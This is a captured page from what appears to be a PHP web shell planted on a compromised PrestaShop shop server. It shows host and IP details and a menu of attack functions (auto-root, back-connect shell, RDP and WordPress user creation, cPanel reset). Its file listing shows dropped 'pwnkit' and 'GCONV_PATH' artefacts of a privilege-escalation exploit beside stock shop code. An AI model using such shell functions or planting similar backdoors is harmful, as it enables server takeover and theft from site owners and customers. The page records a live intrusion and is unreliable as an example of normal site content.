Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
cache
[ DIR ]
drwx---r-x
checkout
[ DIR ]
drwx---r-x
container
[ DIR ]
drwx---r-x
controller
[ DIR ]
drwx---r-x
db
[ DIR ]
drwx---r-x
exception
[ DIR ]
drwx---r-x
form
[ DIR ]
drwx---r-x
helper
[ DIR ]
drwx---r-x
lang
[ DIR ]
drwx---r-x
log
[ DIR ]
drwx---r-x
module
[ DIR ]
drwx---r-x
order
[ DIR ]
drwx---r-x
pdf
[ DIR ]
drwx---r-x
product
[ DIR ]
drwx---r-x
proxy
[ DIR ]
drwx---r-x
range
[ DIR ]
drwx---r-x
shop
[ DIR ]
drwx---r-x
stock
[ DIR ]
drwx---r-x
tax
[ DIR ]
drwx---r-x
tree
[ DIR ]
drwx---r-x
webservice
[ DIR ]
drwx---r-x
.htaccess
170
B
-rw----r--
.mad-root
0
B
-rw-r--r--
Access.php
13.2
KB
-rw----r--
Address.php
20.13
KB
-rw----r--
AddressChecksumCore.php
1.7
KB
-rw----r--
AddressFormat.php
25.62
KB
-rw----r--
Alias.php
5.03
KB
-rw----r--
Attachment.php
7.91
KB
-rw----r--
Attribute.php
13.47
KB
-rw----r--
AttributeGroup.php
13.32
KB
-rw----r--
CMS.php
11.41
KB
-rw----r--
CMSCategory.php
24.09
KB
-rw----r--
CMSRole.php
1.78
KB
-rw----r--
CSV.php
3.04
KB
-rw----r--
Carrier.php
61.57
KB
-rw----r--
Cart.php
212.71
KB
-rw----r--
CartRule.php
88.48
KB
-rw----r--
Category.php
84.77
KB
-rw----r--
Chart.php
4.16
KB
-rw----r--
ChecksumInterface.php
1.13
KB
-rw----r--
Combination.php
14.5
KB
-rw----r--
Configuration.php
26.03
KB
-rw----r--
ConfigurationKPI.php
8.64
KB
-rw----r--
ConfigurationTest.php
11.92
KB
-rw----r--
Connection.php
10.31
KB
-rw----r--
ConnectionsSource.php
5.72
KB
-rw----r--
Contact.php
3.77
KB
-rw----r--
Context.php
13.8
KB
-rw----r--
Cookie.php
16.42
KB
-rw----r--
Country.php
16.12
KB
-rw----r--
Currency.php
35.48
KB
-rw----r--
Curve.php
2.42
KB
-rw----r--
Customer.php
46.67
KB
-rw----r--
CustomerAddress.php
1.26
KB
-rw----r--
CustomerMessage.php
5.71
KB
-rw----r--
CustomerSession.php
2.31
KB
-rw----r--
CustomerThread.php
9.63
KB
-rw----r--
Customization.php
13.35
KB
-rw----r--
CustomizationField.php
2.72
KB
-rw----r--
DateRange.php
2.47
KB
-rw----r--
Delivery.php
3.24
KB
-rw----r--
Dispatcher.php
43.1
KB
-rw----r--
Employee.php
22.1
KB
-rw----r--
EmployeeSession.php
2.32
KB
-rw----r--
Feature.php
11.16
KB
-rw----r--
FeatureValue.php
8.02
KB
-rw----r--
FileUploader.php
3.54
KB
-rw----r--
Gender.php
2.71
KB
-rw----r--
Group.php
14.51
KB
-rw----r--
GroupReduction.php
9.84
KB
-rw----r--
Guest.php
7.9
KB
-rw----r--
Hook.php
42.13
KB
-rw----r--
Image.php
28.51
KB
-rw----r--
ImageManager.php
23.98
KB
-rw----r--
ImageType.php
6.94
KB
-rw----r--
Language.php
57.96
KB
-rw----r--
Link.php
56.55
KB
-rw----r--
LocalizationPack.php
25.19
KB
-rw----r--
Mail.php
31.22
KB
-rw----r--
Manufacturer.php
20.82
KB
-rw----r--
ManufacturerAddress.php
1.28
KB
-rw----r--
Media.php
34.44
KB
-rw----r--
Message.php
6.26
KB
-rw----r--
Meta.php
17.97
KB
-rw----r--
Notification.php
7.42
KB
-rw----r--
ObjectModel.php
75.02
KB
-rw----r--
Pack.php
22.78
KB
-rw----r--
Page.php
4.48
KB
-rw----r--
PaymentFree.php
1.25
KB
-rw----r--
PaymentModule.php
59.53
KB
-rw----r--
PhpEncryption.php
3.39
KB
-rw----r--
PhpEncryptionEngine.php
4.26
KB
-rw----r--
PhpEncryptionLegacyEngine.php
4.77
KB
-rw----r--
PrestaShopAutoload.php
12.25
KB
-rw----r--
PrestaShopBackup.php
12.07
KB
-rw----r--
PrestaShopCollection.php
21.07
KB
-rw----r--
PrestaShopLogger.php
6.5
KB
-rw----r--
Product.php
269.79
KB
-rw----r--
ProductAssembler.php
3.37
KB
-rw----r--
ProductDownload.php
9.77
KB
-rw----r--
ProductPresenterFactory.php
3.6
KB
-rw----r--
ProductSale.php
12.7
KB
-rw----r--
ProductSupplier.php
8.76
KB
-rw----r--
Profile.php
7.56
KB
-rw----r--
QqUploadedFileForm.php
4.93
KB
-rw----r--
QqUploadedFileXhr.php
5.56
KB
-rw----r--
QuickAccess.php
4.65
KB
-rw----r--
Referrer.php
17.45
KB
-rw----r--
RequestSql.php
20.14
KB
-rw----r--
Risk.php
2.36
KB
-rw----r--
Search.php
51.05
KB
-rw----r--
SearchEngine.php
2.79
KB
-rw----r--
SpecificPrice.php
30.68
KB
-rw----r--
SpecificPriceRule.php
13.67
KB
-rw----r--
State.php
7.38
KB
-rw----r--
Store.php
6.25
KB
-rw----r--
Supplier.php
17.66
KB
-rw----r--
SupplierAddress.php
1.27
KB
-rw----r--
Tab.php
21.37
KB
-rw----r--
Tag.php
11.66
KB
-rw----r--
Tools.php
144.64
KB
-rw----r--
Translate.php
13.81
KB
-rw----r--
TranslatedConfiguration.php
4.56
KB
-rw----r--
Upgrader.php
11.54
KB
-rw----r--
Uploader.php
11.41
KB
-rw----r--
Validate.php
34.53
KB
-rw----r--
ValidateConstraintTranslator.p...
2.55
KB
-rw----r--
WarehouseAddress.php
1.27
KB
-rw----r--
Windows.php
1.34
KB
-rw----r--
Zone.php
3.4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PrestaShopCollection.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ /** * Create a collection of ObjectModel objects. * * @since 1.5.0 */ class PrestaShopCollectionCore implements Iterator, ArrayAccess, Countable { const LEFT_JOIN = 1; const INNER_JOIN = 2; const LEFT_OUTER_JOIN = 3; /** * @var string Object class name */ protected $classname; /** * @var int */ protected $id_lang; /** * @var array Object definition */ protected $definition = []; /** * @var DbQuery */ protected $query; /** * @var array Collection of objects in an array */ protected $results = []; /** * @var bool Is current collection already hydrated */ protected $is_hydrated = false; /** * @var int Collection iterator */ protected $iterator = 0; /** * @var int Total of elements for iteration */ protected $total; /** * @var int Page number */ protected $page_number = 0; /** * @var int Size of a page */ protected $page_size = 0; protected $fields = []; protected $alias = []; protected $alias_iterator = 0; protected $join_list = []; protected $association_definition = []; const LANG_ALIAS = 'l'; /** * @param string $classname * @param int $id_lang */ public function __construct($classname, $id_lang = null) { $this->classname = $classname; $this->id_lang = $id_lang; $this->definition = ObjectModel::getDefinition($this->classname); if (!isset($this->definition['table'])) { throw new PrestaShopException('Miss table in definition for class ' . $this->classname); } elseif (!isset($this->definition['primary'])) { throw new PrestaShopException('Miss primary in definition for class ' . $this->classname); } $this->query = new DbQuery(); } /** * Join current entity to an associated entity. * * @param string $association Association name * @param string $on * @param int $type * * @return PrestaShopCollection */ public function join($association, $on = '', $type = null) { if (!$association) { return; } if (!isset($this->join_list[$association])) { $definition = $this->getDefinition($association); $on = '{' . $definition['asso']['complete_field'] . '} = {' . $definition['asso']['complete_foreign_field'] . '}'; $type = self::LEFT_JOIN; $this->join_list[$association] = [ 'table' => ($definition['is_lang']) ? $definition['table'] . '_lang' : $definition['table'], 'alias' => $this->generateAlias($association), 'on' => [], ]; } if ($on) { $this->join_list[$association]['on'][] = $this->parseFields($on); } if ($type) { $this->join_list[$association]['type'] = $type; } return $this; } /** * Add WHERE restriction on query. * * @param string $field Field name * @param string $operator List of operators : =, !=, <>, <, <=, >, >=, like, notlike, regexp, notregexp * @param mixed $value * @param string $type where|having * * @return PrestaShopCollection */ public function where($field, $operator, $value, $method = 'where') { if ($method != 'where' && $method != 'having') { throw new PrestaShopException('Bad method argument for where() method (should be "where" or "having")'); } // Create WHERE clause with an array value (IN, NOT IN) if (is_array($value)) { switch (strtolower($operator)) { case '=': case 'in': $this->query->$method($this->parseField($field) . ' IN(' . implode(', ', $this->formatValue($value, $field)) . ')'); break; case '!=': case '<>': case 'notin': $this->query->$method($this->parseField($field) . ' NOT IN(' . implode(', ', $this->formatValue($value, $field)) . ')'); break; default: throw new PrestaShopException('Operator not supported for array value'); } } else { // Create WHERE clause switch (strtolower($operator)) { case '=': case '!=': case '<>': case '>': case '>=': case '<': case '<=': case 'like': case 'regexp': $this->query->$method($this->parseField($field) . ' ' . $operator . ' ' . $this->formatValue($value, $field)); break; case 'notlike': $this->query->$method($this->parseField($field) . ' NOT LIKE ' . $this->formatValue($value, $field)); break; case 'notregexp': $this->query->$method($this->parseField($field) . ' NOT REGEXP ' . $this->formatValue($value, $field)); break; default: throw new PrestaShopException('Operator not supported'); } } return $this; } /** * Add WHERE restriction on query using real SQL syntax. * * @param string $sql * * @return PrestaShopCollection */ public function sqlWhere($sql) { $this->query->where($this->parseFields($sql)); return $this; } /** * Add HAVING restriction on query. * * @param string $field Field name * @param string $operator List of operators : =, !=, <>, <, <=, >, >=, like, notlike, regexp, notregexp * @param mixed $value * * @return PrestaShopCollection */ public function having($field, $operator, $value) { return $this->where($field, $operator, $value, 'having'); } /** * Add HAVING restriction on query using real SQL syntax. * * @param string $sql * * @return PrestaShopCollection */ public function sqlHaving($sql) { $this->query->having($this->parseFields($sql)); return $this; } /** * Add ORDER BY restriction on query. * * @param string $field Field name * @param string $order asc|desc * * @return PrestaShopCollection */ public function orderBy($field, $order = 'asc') { $order = strtolower($order); if ($order != 'asc' && $order != 'desc') { throw new PrestaShopException('Order must be asc or desc'); } $this->query->orderBy($this->parseField($field) . ' ' . $order); return $this; } /** * Add ORDER BY restriction on query using real SQL syntax. * * @param string $sql * * @return PrestaShopCollection */ public function sqlOrderBy($sql) { $this->query->orderBy($this->parseFields($sql)); return $this; } /** * Add GROUP BY restriction on query. * * @param string $field Field name * * @return PrestaShopCollection */ public function groupBy($field) { $this->query->groupBy($this->parseField($field)); return $this; } /** * Add GROUP BY restriction on query using real SQL syntax. * * @param string $sql * * @return PrestaShopCollection */ public function sqlGroupBy($sql) { $this->query->groupBy($this->parseFields($sql)); return $this; } /** * Launch sql query to create collection of objects. * * @param bool $display_query If true, query will be displayed (for debug purpose) * * @return PrestaShopCollection */ public function getAll($display_query = false) { if ($this->is_hydrated) { return $this; } $this->is_hydrated = true; $alias = $this->generateAlias(); //$this->query->select($alias.'.*'); $this->query->from($this->definition['table'], $alias); // If multilang, create association to lang table if (!empty($this->definition['multilang'])) { $this->join(self::LANG_ALIAS); if ($this->id_lang) { $this->where(self::LANG_ALIAS . '.id_lang', '=', $this->id_lang); } } // Add join clause foreach ($this->join_list as $data) { $on = '(' . implode(') AND (', $data['on']) . ')'; switch ($data['type']) { case self::LEFT_JOIN: $this->query->leftJoin($data['table'], $data['alias'], $on); break; case self::INNER_JOIN: $this->query->innerJoin($data['table'], $data['alias'], $on); break; case self::LEFT_OUTER_JOIN: $this->query->leftOuterJoin($data['table'], $data['alias'], $on); break; } } // All limit clause if ($this->page_size) { $this->query->limit($this->page_size, $this->page_number * $this->page_size); } // Shall we display query for debug ? if ($display_query) { echo $this->query . '<br />'; } $this->results = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->query); if ($this->results && is_array($this->results)) { $this->results = ObjectModel::hydrateCollection($this->classname, $this->results, $this->id_lang); } return $this; } /** * Retrieve the first result. * * @return ObjectModel|false */ public function getFirst() { $this->getAll(); if (!count($this)) { return false; } return $this[0]; } /** * Retrieve the last result. * * @return ObjectModel|false */ public function getLast() { $this->getAll(); if (!count($this)) { return false; } return $this[count($this) - 1]; } /** * Get results array. * * @return array */ public function getResults() { $this->getAll(); return $this->results; } /** * This method is called when a foreach begin. * * @see Iterator::rewind() */ public function rewind() { $this->getAll(); $this->results = array_merge($this->results); $this->iterator = 0; $this->total = count($this->results); } /** * Get current result. * * @see Iterator::current() * * @return ObjectModel */ public function current() { return isset($this->results[$this->iterator]) ? $this->results[$this->iterator] : null; } /** * Check if there is a current result. * * @see Iterator::valid() * * @return bool */ public function valid() { return $this->iterator < $this->total; } /** * Get current result index. * * @see Iterator::key() * * @return int */ public function key() { return $this->iterator; } /** * Go to next result. * * @see Iterator::next() */ public function next() { ++$this->iterator; } /** * Get total of results. * * @see Countable::count() * * @return int */ public function count() { $this->getAll(); return count($this->results); } /** * Check if a result exist. * * @see ArrayAccess::offsetExists() * * @param $offset * * @return bool */ public function offsetExists($offset) { $this->getAll(); return isset($this->results[$offset]); } /** * Get a result by offset. * * @see ArrayAccess::offsetGet() * * @param $offset * * @return ObjectModel */ public function offsetGet($offset) { $this->getAll(); if (!isset($this->results[$offset])) { throw new PrestaShopException('Unknown offset ' . $offset . ' for collection ' . $this->classname); } return $this->results[$offset]; } /** * Add an element in the collection. * * @see ArrayAccess::offsetSet() * * @param $offset * @param $value */ public function offsetSet($offset, $value) { if (!$value instanceof $this->classname) { throw new PrestaShopException('You cannot add an element which is not an instance of ' . $this->classname); } $this->getAll(); if (null === $offset) { $this->results[] = $value; } else { $this->results[$offset] = $value; } } /** * Delete an element from the collection. * * @see ArrayAccess::offsetUnset() * * @param $offset */ public function offsetUnset($offset) { $this->getAll(); unset($this->results[$offset]); } /** * Get definition of an association. * * @param string $association * * @return array */ protected function getDefinition($association) { if (!$association) { return $this->definition; } if (!isset($this->association_definition[$association])) { $definition = $this->definition; $split = explode('.', $association); $is_lang = false; for ($i = 0, $total_association = count($split); $i < $total_association; ++$i) { $asso = $split[$i]; // Check is current association exists in current definition if (!isset($definition['associations'][$asso])) { throw new PrestaShopException('Association ' . $asso . ' not found for class ' . $this->definition['classname']); } $current_def = $definition['associations'][$asso]; // Special case for lang alias if ($asso == self::LANG_ALIAS) { $is_lang = true; break; } $classname = (isset($current_def['object'])) ? $current_def['object'] : Tools::toCamelCase($asso, true); $definition = ObjectModel::getDefinition($classname); } // Get definition of associated entity and add information on current association $current_def['name'] = $asso; if (!isset($current_def['object'])) { $current_def['object'] = Tools::toCamelCase($asso, true); } if (!isset($current_def['field'])) { $current_def['field'] = 'id_' . $asso; } if (!isset($current_def['foreign_field'])) { $current_def['foreign_field'] = 'id_' . $asso; } if ($total_association > 1) { unset($split[$total_association - 1]); $current_def['complete_field'] = implode('.', $split) . '.' . $current_def['field']; } else { $current_def['complete_field'] = $current_def['field']; } $current_def['complete_foreign_field'] = $association . '.' . $current_def['foreign_field']; $definition['is_lang'] = $is_lang; $definition['asso'] = $current_def; $this->association_definition[$association] = $definition; } else { $definition = $this->association_definition[$association]; } return $definition; } /** * Parse all fields with {field} syntax in a string. * * @param string $str * * @return string */ protected function parseFields($str) { preg_match_all('#\{(([a-z0-9_]+\.)*[a-z0-9_]+)\}#i', $str, $m); for ($i = 0, $total = count($m[0]); $i < $total; ++$i) { $str = str_replace($m[0][$i], $this->parseField($m[1][$i]), $str); } return $str; } /** * Replace a field with its SQL version (E.g. manufacturer.name with a2.name). * * @param string $field Field name * * @return string */ protected function parseField($field) { $info = $this->getFieldInfo($field); return $info['alias'] . '.`' . $info['name'] . '`'; } /** * Format a value with the type of the given field. * * @param mixed $value * @param string $field Field name * * @return mixed */ protected function formatValue($value, $field) { $info = $this->getFieldInfo($field); if (is_array($value)) { $results = []; foreach ($value as $item) { $results[] = ObjectModel::formatValue($item, $info['type'], true); } return $results; } return ObjectModel::formatValue($value, $info['type'], true); } /** * Obtain some information on a field (alias, name, type, etc.). * * @param string $field Field name * * @return array */ protected function getFieldInfo($field) { if (!isset($this->fields[$field])) { $split = explode('.', $field); $total = count($split); if ($total > 1) { $fieldname = $split[$total - 1]; unset($split[$total - 1]); $association = implode('.', $split); } else { $fieldname = $field; $association = ''; } $definition = $this->getDefinition($association); if ($association && !isset($this->join_list[$association])) { $this->join($association); } if ($fieldname == $definition['primary'] || (!empty($definition['is_lang']) && $fieldname == 'id_lang')) { $type = ObjectModel::TYPE_INT; } else { // Test if field exists if (!isset($definition['fields'][$fieldname])) { throw new PrestaShopException('Field ' . $fieldname . ' not found in class ' . $definition['classname']); } // Test field validity for language fields if (empty($definition['is_lang']) && !empty($definition['fields'][$fieldname]['lang'])) { throw new PrestaShopException('Field ' . $fieldname . ' is declared as lang field but is used in non multilang context'); } elseif (!empty($definition['is_lang']) && empty($definition['fields'][$fieldname]['lang'])) { throw new PrestaShopException('Field ' . $fieldname . ' is not declared as lang field but is used in multilang context'); } $type = $definition['fields'][$fieldname]['type']; } $this->fields[$field] = [ 'name' => $fieldname, 'association' => $association, 'alias' => $this->generateAlias($association), 'type' => $type, ]; } return $this->fields[$field]; } /** * Set the page number. * * @param int $page_number * * @return PrestaShopCollection */ public function setPageNumber($page_number) { $page_number = (int) $page_number; if ($page_number > 0) { --$page_number; } $this->page_number = $page_number; return $this; } /** * Set the nuber of item per page. * * @param int $page_size * * @return PrestaShopCollection */ public function setPageSize($page_size) { $this->page_size = (int) $page_size; return $this; } /** * Generate uniq alias from association name. * * @param string $association Use empty association for alias on current table * * @return string */ protected function generateAlias($association = '') { if (!isset($this->alias[$association])) { $this->alias[$association] = 'a' . $this->alias_iterator++; } return $this->alias[$association]; } }
Close